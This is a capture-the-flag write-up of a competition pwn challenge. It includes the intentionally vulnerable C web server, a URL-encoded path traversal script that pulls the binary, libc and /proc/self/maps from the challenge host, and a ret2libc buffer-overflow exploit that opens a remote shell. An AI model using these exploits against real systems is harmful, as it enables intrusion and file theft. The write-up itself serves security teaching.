[Csaw RED] Pwn - http
Http - Pwn
Hi, I was recently at the CSAW Europe (which is a competition organised by the Esisar in Valence) for the finale of the Red Team Competition which brings French highschool student to compete against each others team. Your team can go up to 3 people but I was on my own.
During the competition I came across a pwn challenge which seemed really interesting to me because I had to exploit a custom web server and it was first time exploiting this kind of software. I ended up spending 3-4 hours on this challenge (half of the ctf) but I didn’t manage to solve it on time. Sadly or as funny as it may seem I solved in 5 minutes on the train on my way home. I am the only one who solved it so I think that it could be interesting to tell you how I did it.
Introduction
First of all we are given two files:
1- http.c
2- Makefile
Starting with the easiest one to understand, the Makefile
contains the following lines:
1http: http.c
2 gcc -o http -m32 -Wall -Wextra -no-pie -fno-stack-protector http.c
3
4install: http
5 cp http /usr/sbin
Via this file we can determine that the remote binary is in /usr/sbin, the only protection in the binary is the Nx Bit and also that the architecture of the file is i386.
The http.c
file contains the source code of the web server:
1#include <stdio.h>
2#include <stdlib.h>
3#include <unistd.h>
4#include <errno.h>
5#include <sys/socket.h>
6#include <sys/stat.h>
7#include <signal.h>
8#include <string.h>
9#include <strings.h>
10#include <netinet/ip.h>
11#include <arpa/inet.h>
12#include <ctype.h>
13#include <fcntl.h>
14#include <sys/wait.h>
15
16#define MAXBUF 4096
17#define ROOTDIR "/home/camuser/files"
18
19char *lines[]={
20 "<html><head><style>",
21 "html, body {\nwidth: 100%;\nheight: 100%;\nbackground: black;\nmargin: 0;\noverflow: hidden;\ndisplay: flex;\nalign-items: center;\njustify-content: center;\n}\n",
22 ".a-long-time-ago {\n font-size: 32px;\n color: #4bd5ee;\n /* Animation */\n opacity: 0;\n animation-delay: 1s;\n animation-duration: 1s;\n animation-name: a-long-time-ago;\n animation-timing-function: ease-out;\n }\n",
23 "@keyframes a-long-time-ago {\n0% {\n opacity: 0;\n }\n20% {\n opacity: 1;\n }\n80% {\n opacity: 1;\n }\n100% {\n opacity: 0;\n }\n}\n",
24 " .crawl {\n position: absolute;\n top: 45%;\n left: 50%;\n width: 800px;\n margin: 0 0 0 -400px;\n top: auto;\n bottom: 0;\n height: 50em;\n color: #ffff66; \n font-size: 64px;\n text-align: justify;\n transform-origin: center bottom;\n transform: perspective(300px) rotateX(25deg);\n }\n",
25 " .crawl > div {\n position: absolute;\n top: 100%; \n animation-delay: 2s; /* Démarre l'animation après la première */\n animation-duration: 40s;\n animation-name: crawl;\n animation-timing-function: linear;\n }\n \n",
26 "@keyframes crawl {\n 0% {\n top: 100%;\n opacity: 1;\n }\n 80% {\n opacity: 1; /* disparition progressive à la fin */\n }\n \n 100% {\n top: 0;\n opacity: 0;\n }\n }\n" ,
27 "</style></head>",
28 "<body><audio autoplay> <source src=\"https://archive.org/download/StarWarsThemeSongByJohnWilliams/Star%20Wars%20Theme%20Song%20By%20John%20Williams.ogg\" type=\"audio/ogg\" /> </audio>",
29 "<div class=\"a-long-time-ago\"> A long time ago, in a galaxy far,<br> far away.. </div>",
30 "<div class=\"crawl\"> <div>",
31 "<p>Once upon a time, a lonely hacker sat in front of his computer, scrolling through endless lines of code. He longed for connection and companionship but found solace in the digital realm. Despite his isolation, he continued to push boundaries and innovate, driven by his passion for technology.</p>",
32 "<p>Though he often felt misunderstood and dismissed by society, he refused to give up on his vision of a world where technology could bring people together. And in the end, his perseverance paid off as he finally found a community of like-minded individuals who shared his passion and accepted him for who he was.</p>",
33 "<p>I will reveal it's name: 31ixlr </p>",
34 "<p> Thanks for : </p>",
35 "<p> HTTP Server : 31ixlr</p>",
36 "<p> SIP server : P@d-a-w@N aka /bin/sh" ,
37 "<p> 10/11/2023." ,
38 "</p>",
39 "</div></div>",
40 "</body></html>"
41};
42
43//========== SOCKET RELATED STUFF Thx. chatGPT ======================//
44//
45static int createSocket(int port)
46{
47 int fd;
48 struct sockaddr_in serv_addr;
49 int enable = 1;
50
51 if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
52 perror("socket creation failed\n");
53 return (-2);
54 }
55 bzero(&serv_addr, sizeof(serv_addr));
56
57 serv_addr.sin_family = AF_INET;
58 serv_addr.sin_addr.s_addr = INADDR_ANY;
59 serv_addr.sin_port = htons(port);
60
61 if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(int)) < 0) {
62 perror("setsockopt failed\n");
63 return (-1);
64 }
65
66 if (bind(fd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
67 perror("bind failed\n");
68 return (-1);
69 }
70
71 if (listen(fd, 10) < 0) {
72 perror("listen failed\n");
73 return -1;
74 }
75 return fd;
76}
77
78ssize_t readSocket(int fd,char *buf,size_t len)
79{
80 ssize_t res;
81 do {
82 res=read(0,buf,len);
83 } while ((res == -1 ) && (errno==EINTR));
84 return res;
85}
86
87int writeSocket(int fd,char *buf,size_t len)
88{
89 do {
90 ssize_t res;
91 do {
92 res=write(1,buf,len);
93 } while ((res == -1 ) && (errno==EINTR));
94
95 if (res < 0) {
96 close(fd);
97 return 0;
98 } else {
99 len-=res;
100 }
101 } while (len!= 0);
102 return 1;
103}
104
105// is this still needed ?
106#define MSG(fd,msg) writeSocket((fd),(char *)(msg),strlen((msg)))
107
108// ============== END SOCKET RELATED STUFFF ==============================//
109// handle error by code (go to stdout now )
110void handleError(int fd,int code)
111{
112 switch (code) {
113 case 400: printf("HTTP/1.0 400 Bad Request\r\n\r\n"); break;
114 case 403: printf("HTTP/1.0 403 Forbidden\r\n\r\n"); break;
115 case 404: printf("HTTP/1.0 404 Not Found\r\n\r\n"); break;
116 case 500: printf("HTTP/1.0 500 Internal Error\r\n\r\n"); break;
117 case 501: printf("HTTP/1.0 501 Not Implemented\r\n\r\n"); break;
118 case 505: printf("HTTP/1.0 505 Version Not Supported\r\n\r\n"); break;
119 }
120 close(fd);
121 exit(-1);
122}
123////////////////////////////// PERCENT ENCODING STUFF ////////////////////////////////////
124// Some Characters in uri might be percent encoded, so convert them back to a single byte
125//example: %41 --> 'A' or '%20 --> ' '
126int getPercentEncoding(char *p, char *value)
127{
128 *value=0;
129 if ((isxdigit(toupper(*p))) && (isxdigit(toupper(*(p+1))))) {
130 if ((*p >= '0' ) && (*p <='9')) *value+=*p-'0';
131 if ((*p >= 'A' ) && (*p <='F')) *value+=*p-'A'+10;
132 if ((*p >= 'a' ) && (*p <='f')) *value+=*p-'a'+10;
133 p++;
134 *value=*value<<4;
135 if ((*p >= '0' ) && (*p <='9')) *value+=*p-'0';
136 if ((*p >= 'A' ) && (*p <='F')) *value+=*p-'A'+10;
137 if ((*p >= 'a' ) && (*p <='f')) *value+=*p-'a'+10;
138 return 1;
139 }
140 return 0;
141}
142
143void handlePercentEncoding(char *uri)
144{
145 char *p_read,*p_write,c;
146 p_read=p_write=uri;
147 while (*p_read) {
148 if ((*p_read=='%') && getPercentEncoding(p_read+1,&c)) {
149 *p_write=c;
150 p_write++;
151 p_read+=3;
152 }
153 else {
154 *p_write=*p_read;
155 p_write++;
156 p_read++;
157 }
158 }
159 *p_write='\0';
160}
161////////////////////////////END PERCENT ENCODING STUFF ////////////////////////////////////
162
163// Yahhhooo.... no comment
164//
165void handleEasterEgg()
166{
167 // that' is 200 OK
168 printf("HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n");
169 for (unsigned long int i=0;i<sizeof(lines)/sizeof(char *);i++) {
170 puts(lines[i]);
171 }
172}
173// Generate a response for the client request
174// Get the uri and append it to ROOTDIR to get path, check extension and create response.
175// Some uri might have space caracters
176void handleUri(int fd, char *uri)
177{
178 char *path,*ext;
179 int fi;
180 ssize_t res;
181 int len;
182 // first check verify there is not ".." !! security first :)
183 if (strstr((char *)uri,"..") != NULL ) { // directory traversal attempt ??
184 handleError(fd,403);
185 }
186
187 // oups URI can also be percent encoded...
188 handlePercentEncoding(uri);
189
190 // Now get the resources
191 if (strcmp(uri,"/")==0) uri="/box.html";
192 len=(strlen((char *)uri)+strlen(ROOTDIR)+1);
193 path=malloc(len*sizeof(char));
194 bzero(path,len*sizeof(char));
195 sprintf(path,"%s%s",ROOTDIR,uri);
196 // not found or forbidden ?
197 //printf(path);
198 if ((fi=open(path,O_RDONLY))<0) {
199 handleError(fd,404);
200 } else {
201 struct stat s;
202 // should prevent toctou ?
203 if ((fstat(fi,&s)<0) || ((s.st_mode & S_IFMT) != S_IFREG))
204 handleError(fd,500);
205 }
206
207 // that' is 200 OK
208 puts("HTTP/1.0 200 OK\r");
209 // get the extension type
210 if ((ext=strrchr(path,'.'))!=NULL) {
211 if ((strcmp(ext,".html")==0) || (strcmp(ext,".htm")==0)) {
212 puts("Content-Type: text/html\r");
213 }
214 if ((strcmp(ext,".jpeg")==0) || (strcmp(ext,".jpg")==0)) {
215 puts("Content-Type: image/jpeg\r");
216 }
217 if ((strcmp(ext,".css")==0) ) {
218 puts("Content-Type: text/css\r");
219 }
220 if ((strcmp(ext,".gif")==0) ) {
221 puts("Content-Type: image/gif\r");
222 }
223 if ((strcmp(ext,".png")==0) ) {
224 puts("Content-Type: image/png\r");
225 }
226 if ((strcmp(ext,".ogg")==0) ) {
227 puts("Content-Type: audio/ogg\r");
228 }
229 }
230 puts("\r");
231 do {
232 char buf[MAXBUF];
233 res=read(fi,buf,MAXBUF);
234 if (res>0) { writeSocket(fd,(char *)buf,res); }
235 } while (res>0);
236}
237
238// ============== CLIENT REQUEST RELATED STUFFF ==============================//
239// This function handles data going through (fd) indeed stdin now
240// read until we get the header/body separator (\r\n\r\n)
241int readRequest(int fd,char *buf)
242{
243 ssize_t len=0,res=0;
244 do {
245 res=readSocket(fd,buf+len,MAXBUF);
246 if (res>0) { len+=res;
247 // oh there was an annoying error which sometimes crash the prog here !!!
248 // but the following lines solve the problem
249 buf[len]=0;
250 }
251 } while ((res > 0) && (strstr((char *)buf,"\r\n\r\n") == NULL )) ;
252
253 if (res <=0) { // error or close
254 handleError(fd,res);
255 }
256 return res;
257}
258
259
260// ============== CLIENT REQUEST RELATED STUFFF ==============================//
261// This procedure handles a client, get the request, parse it (roughly) and get the uri
262
263void handleCli(int fd)
264{
265 char cliBuf[MAXBUF];
266
267 bzero(cliBuf,MAXBUF);
268
269 readRequest(fd,cliBuf) ;
270 // DEBUG // printf("Receive %.*s\n",(int) len,cliBuf);
271 // focus on the start line since it has the relevant parts // this is not a *real* parser but it does the job.
272 // We want only a GET
273 if (strncmp("GET ",(char *)cliBuf,4)!=0) { handleError(fd,501); } else {
274 char *uri=NULL;
275 ssize_t i=4;
276 // Let's GET THE URI part (find the ' ' before EOL)
277 do {
278 if (cliBuf[i] == ' ') { uri=&cliBuf[4]; cliBuf[i]='\0'; break; }
279 i++;
280 } while ((i<MAXBUF) && cliBuf[i]!='\r');
281
282 if (uri == NULL) {handleError(fd,400);}
283 if (strncmp((char *) &cliBuf[i+1],"HTTP/1.",7) !=0) { handleError(fd,505); }
284 if (strcmp(uri,"/3ast3rE99")==0) handleEasterEgg(); else
285 handleUri(fd,uri);
286 }
287}
288
289//int main(int argc, char *argv[])
290int main()
291{
292 pid_t pid;
293 int nbclient=100;
294 struct sockaddr_in cliAddr;
295 socklen_t addrSize=sizeof(struct sockaddr);
296
297 int doit=1,fd,cliFd;
298 signal(SIGPIPE, SIG_IGN);
299
300 fd=createSocket(80);
301 while (doit) {
302
303 while ((waitpid(-1,NULL,WNOHANG) > 0 )) {
304 nbclient++;
305 }
306
307 cliFd = accept(fd, (struct sockaddr*)&cliAddr,&addrSize);
308 if (cliFd < 0) {
309 exit(1);
310 }
311 //printf("Connection accepted from %s:%d\n", inet_ntoa(cliAddr.sin_addr), ntohs(cliAddr.sin_port));
312
313 if (nbclient > 0 ) {
314 if ((pid=fork())<0) {
315 perror("fork");
316 } else {
317 if (pid==0) {
318 // do stuff , some annoying, some not ...
319 //alarm(120);
320 setbuf(stdout,NULL);
321 dup2(cliFd,0);
322 dup2(cliFd,1);
323 dup2(cliFd,2);
324 handleCli(cliFd);
325
326 close(fd);
327 }
328 else { nbclient--; }
329 }
330 }
331 close(cliFd);
332 }
333}
334
Reverse engineering of the server
Starting with the main function, we can see that when a new request is made, the program forks, redirects the file descriptor of our freshly created socket to 0,1,2 (stdin, stdout, stderr) via dup2 and then calls handleCli with the file descriptor of our request.
1int main()
2{
3 pid_t pid;
4 int nbclient=100;
5 struct sockaddr_in cliAddr;
6 socklen_t addrSize=sizeof(struct sockaddr);
7
8 int doit=1,fd,cliFd;
9 signal(SIGPIPE, SIG_IGN);
10
11 fd=createSocket(80);
12 while (doit) {
13
14 while ((waitpid(-1,NULL,WNOHANG) > 0 )) {
15 nbclient++;
16 }
17
18 cliFd = accept(fd, (struct sockaddr*)&cliAddr,&addrSize);
19 if (cliFd < 0) {
20 exit(1);
21 }
22 //printf("Connection accepted from %s:%d\n", inet_ntoa(cliAddr.sin_addr), ntohs(cliAddr.sin_port));
23
24 if (nbclient > 0 ) {
25 if ((pid=fork())<0) {
26 perror("fork");
27 } else {
28 if (pid==0) {
29 // do stuff , some annoying, some not ...
30 //alarm(120);
31 setbuf(stdout,NULL);
32 dup2(cliFd,0);
33 dup2(cliFd,1);
34 dup2(cliFd,2);
35 handleCli(cliFd);
36
37 close(fd);
38 }
39 else { nbclient--; }
40 }
41 }
42 close(cliFd);
43 }
44}
The handleCli initalizes the variable cliBuf
with a size of 4096 bytes, calls the readRequest
and then checks if the HTTP method of the request is GET
and if it’s not it returns an error.
After a bit of code analysis I spotted a buffer overflow in the readRequest
function, it reads data in cliBuf
as long as it doesn’t receive “\r\n\r\n” which marks the end of a http request.
1int readRequest(int fd,char *buf)
2{
3 ssize_t len=0,res=0;
4 do {
5 res=readSocket(fd,buf+len,MAXBUF);
6 if (res>0) { len+=res;
7 // oh there was an annoying error which sometimes crash the prog here !!!
8 // but the following lines solve the problem
9 buf[len]=0;
10 }
11 } while ((res > 0) && (strstr((char *)buf,"\r\n\r\n") == NULL )) ;
12
13 if (res <=0) { // error or close
14 handleError(fd,res);
15 }
16 return res;
17}
Using this buffer overflow we might be able to control the return address to spawn a shell on the remote server. The problem is that even if we manage to control the return address, we won’t we able to do anything on the remote server since we don’t have the binary used remotely nor do we have the libc and the linker.
Here comes in handy a second vulnerability which is located in the handleUri
function.
1void handleUri(int fd, char *uri)
2{
3 char *path,*ext;
4 int fi;
5 ssize_t res;
6 int len;
7 // first check verify there is not ".." !! security first :)
8 if (strstr((char *)uri,"..") != NULL ) { // directory traversal attempt ??
9 handleError(fd,403);
10 }
11
12 // oups URI can also be percent encoded...
13 handlePercentEncoding(uri);
14
15 // Now get the resources
16 if (strcmp(uri,"/")==0) uri="/box.html";
17 len=(strlen((char *)uri)+strlen(ROOTDIR)+1);
18 path=malloc(len*sizeof(char));
19 bzero(path,len*sizeof(char));
20 sprintf(path,"%s%s",ROOTDIR,uri);
21 // not found or forbidden ?
22 printf(path);
23 if ((fi=open(path,O_RDONLY))<0) {
24 handleError(fd,404);
25 } else {
26 struct stat s;
27 // should prevent toctou ?
28 if ((fstat(fi,&s)<0) || ((s.st_mode & S_IFMT) != S_IFREG))
29 handleError(fd,500);
30 }
31
32 // that' is 200 OK
33 puts("HTTP/1.0 200 OK\r");
34 // get the extension type
35 if ((ext=strrchr(path,'.'))!=NULL) {
36 if ((strcmp(ext,".html")==0) || (strcmp(ext,".htm")==0)) {
37 puts("Content-Type: text/html\r");
38 }
39 if ((strcmp(ext,".jpeg")==0) || (strcmp(ext,".jpg")==0)) {
40 puts("Content-Type: image/jpeg\r");
41 }
42 if ((strcmp(ext,".css")==0) ) {
43 puts("Content-Type: text/css\r");
44 }
45 if ((strcmp(ext,".gif")==0) ) {
46 puts("Content-Type: image/gif\r");
47 }
48 if ((strcmp(ext,".png")==0) ) {
49 puts("Content-Type: image/png\r");
50 }
51 if ((strcmp(ext,".ogg")==0) ) {
52 puts("Content-Type: audio/ogg\r");
53 }
54 }
55 puts("\r");
56 do {
57 char buf[MAXBUF];
58 res=read(fi,buf,MAXBUF);
59 if (res>0) { writeSocket(fd,(char *)buf,res); }
60 } while (res>0);
61}
To avoid Path traversal
attacks, the function checks if the url does not contain the string “..". If it’s the case, it returns an error message but else it reads the file that was requested by the user just after url-decoding it. Ok cool it means that we can bypass the check by url-encoding our payload to then read file outstide of the folder /home/camuser/files
.
First we are going to retrieve the http
binary (who is in /usr/sbin/
as we saw earlier) on the remote server. To make things easier for me I made a small python script to do it automatically:
1from pwn import *
2import sys
3
4host = 'box.csaw.red'
5port = 1337
6
7def url_encode(file):
8 payload = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F"
9 for (idx, x) in enumerate(file):
10 if idx == 0 and x == "/":
11 continue
12 payload += "%" + hex(ord(x)).lstrip("0x")
13 return payload.encode()
14
15p = remote(host, port)
16payload = b"GET /%b HTTP/1.1\r\n" % (url_encode(sys.argv[1]))
17payload += b"Host: %b:%i\r\n" % (host.encode(),port)
18payload += b"\r\n"
19
20
21p.send(payload)
22p.recvuntil(b"\r\n\r\n")
23
24file_content = p.recvall()
25file_name = sys.argv[1].split("/")[-1]
26with open(file_name, "wb") as file:
27 file.write(file_content)
28 file.close()
29
30print("Wrote file: %s" % file_name)
31
32p.close()
33
So as I said we are first going to retrieve http
:
1/home/numb3rs/csaw » python ./path_traversal.py "/usr/sbin/http" SILENT
2Wrote file: http
Then we are going to retrieve the /proc/self/maps
containing the base address of the libc and its location. Moreover since the program forks for every request we make, its address won’t change between two request and we won’t have to leak anything.
1/home/numb3rs/csaw » python ./path_traversal.py "/proc/self/maps" SILENT
2Wrote file: maps
With this file I was able to determine that the libc’s location was /lib/i386-linux-gnu/libc.so.6
and the linker’s one was /lib/ld-linux.so.2
.
By retrieving both of them we now have every elements to start investigating the buffer overflow we found just before.
(just for your information I linked the binary to the libc and the linker using pwninit with this command: pwninit --bin http --libc libc.so.6 --ld ld-linux.so.2
)
To make sure that there were actually no other protections that the NX Bit I ran a quick checksec
on it and it was how it was supposed to be.
1/home/numb3rs/csaw » checksec http
2[*] '/home/numb3rs/csaw/http'
3 Arch: i386-32-little
4 RELRO: Partial RELRO
5 Stack: No canary found
6 NX: NX enabled
7 PIE: No PIE (0x8048000)
8---------------------------------------------------------
I didn’t tell you earlier but to trigger the buffer overflow we have to set visit the endpoint /3ast3rE99
.
To do the tests I used Burpsuite, it may sound weird but it was easier in fact. I put a header named “A” followed by a string that allowed me to find the offset of the return address.
The offset to control the return address is 4104. The only thing left to do is to spawn a shell. To do so I used puts to leak the address of puts in the libc (I could have just used the addresses in /proc/self/maps), I then used the leak to determine the addresses of system and /bin/sh in the LIBC, allowing us to call system("/bin/sh”).
Here is my final exploit:
1from pwn import *
2
3elf = ELF('./http', checksec=False)
4libc = ELF('./libc.so.6', checksec=False)
5
6url = "box.csaw.red"
7port = 1337
8
9
10p = remote(url, port)
11
12request = b"GET /3ast3rE99 HTTP/1.1\r\n"
13request += b"A: " + b"A"*4104 + p32(elf.plt.puts) + p32(0x41414141) + p32(elf.got.puts) + b"\r\n"
14request += b"\r\n"
15
16p.send(request)
17
18p.recvuntil(b"</html>\n")
19leak_libc = u32(p.recv(4))
20
21libc.address = leak_libc - libc.sym.puts
22
23
24info("LIBC @%s" % hex(libc.address))
25
26p = remote(url, port)
27
28request = b"GET /3ast3rE99 HTTP/1.1\r\n"
29request += b"A: " + b"A"*4104 + p32(libc.sym.system) + p32(0x41414141) + p32(next(libc.search(b"/bin/sh\x00"))) + b"\r\n"
30request += b"\r\n"
31
32p.send(request)
33
34p.interactive()
By executing it we are able to have our shell:
1/home/numb3rs/csaw » python exploit.py
2[+] Opening connection to box.csaw.red on port 1337: Done
3LIBC @0xf7d0c000
4[+] Opening connection to box.csaw.red on port 1337: Done
5[*] Switching to interactive mode
6$ echo pwned
7pwned
8$ id
9uid=1001(red) gid=1001(red) groups=1001(red)
Seeing how short my final exploit is, you may wonder how I ended up spending 4 hours on this but I had a lot of problems (lol). I started up by sending my payload via the curl command which seemed to work at first in local but I wasn’t able to have my exploit working in remote and it was because some header were changing between when I was sending it to my local server and to the remote server which messed up the offsets.
Anyway, it was very fun to do, thanks a lot to Kr[HACK]en and more precisely to Quentin Giorgi for this challenge.
Thanks for reading my writeup and I hope it was worth it :). Feel free to contact me on discord @numb3rss or on twitter @numbrs
numb3rs - 4577